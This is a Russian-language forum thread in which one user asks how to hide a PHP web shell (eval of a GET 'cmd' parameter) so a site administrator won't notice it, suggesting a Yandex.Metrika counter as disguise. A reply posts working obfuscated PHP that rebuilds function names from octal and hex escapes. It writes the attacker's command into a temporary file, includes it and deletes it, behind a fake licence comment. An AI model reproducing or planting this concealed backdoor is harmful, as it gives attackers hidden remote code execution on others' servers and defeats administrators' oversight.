Спрятать код

Discussion in 'PHP' started by brown, 21 Jan 2022.

  1. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    259
    Likes Received:
    12
    Reputations:
    1
    Подскажите как можно спрятать шелл код чтоб у админа не было подозрений
    допустим <?php eval($_GET[cmd]); ?>

    Выглядел так:

    Code:
    <!-- Yandex.Metrika counter -->
    <script type="text/javascript" >
       (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
       m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
       (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");
       ym(86612194, "init", {
            clickmap:true,
            trackLinks:true,
            accurateTrackBounce:true
       });
    </script>
    <noscript><div><img src="https://mc.yandex.ru/watch/86631124" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
    <!-- /Yandex.Metrika counter -->
    Ну или чтото подобное!Конечно можно кодировать декодировать в base64.Но мне кажется что это не лучшый вариант!
    Может существуют "ядовитые скрипты"?
     
  2. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    386
    Reputations:
    58
    Могу предположить, что то, что нужно, называется - обфускация. Но в таком случае требование:
    скорее всего не будет удовлетворено, потому как при визуальном осмотре такого участка кода (и наличии базовых компетенций) уровень подозрения должен расти в геометрической прогрессии.
    Можно спрятать php скрипт прямо в памяти сервера. Но думаю, большинство решений, которые можно найти в открытом доступе в интернете, будут работать до первой перезагрузки сервера.
    Все остальные методы уже будут связаны с серьёзными прикладными знаниями сетевых архитектур.
     
    crlf likes this.
  3. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    386
    Reputations:
    58
    Для кода:
    Code:
    <?php eval($_GET['cmd']); ?>
    придумал такой аналогичный вариант, на основе временного файла(должен быть доступ на запись в текущую директорию) и шифрования строк в восьмеричные и шестнадцатеричные escape-последовательности:
    PHP:
    <?php
    /**
     * Generating and including ASCII chars
     * MIT Licence №: 775216427
     */
    function ASCII_generator() {
        
    $ASCII_table = array(
            array(
    "\146""\x69""\x6c""\145""\x5f""\160",
                  
    "\165""\x74","\x5f""\143""\157",
                  
    "\156""\164""\145""\156""\x74""\163"),
            array(
    "\164""\155""\x70"),
            array(
    "\x3c""\077""\160""\150""\160""\x20"),
            array(
    "\143""\x6d""\144"),
            array(
    "\040""\x3f""\076"),
            array(
    "\x75""\156""\154""\x69""\156""\x6b"),
            array(
    "\x66""\151""\x6c""\145""\x5f""\145",
                  
    "\x78""\x69""\163""\x74""\x73"),
            array(
    "\050""\047"),
            array(
    "\x27""\051""\x3b")
        );

        do {
            
    $f "." ASCII($ASCII_table[1]) . substr(md5(mt_rand()), 08);
        } while (
    ASCII($ASCII_table[6])($f));

        if (
    ASCII($ASCII_table[0])($fASCII($ASCII_table[2]).@$_GET[ASCII($ASCII_table[3])].ASCII($ASCII_table[5]).ASCII($ASCII_table[7]).$f.ASCII($ASCII_table[8]).ASCII($ASCII_table[4])) !== false) {
            include 
    $f;
        } else {
            echo 
    0;
        }
    }
    function 
    ASCII(array $ASCII_table) {
        
    $r '';
        foreach (
    $ASCII_table as $l) {
            
    $r .= $l;
        }
        return 
    $r;
    }
    ASCII_generator();
     
    crlf likes this.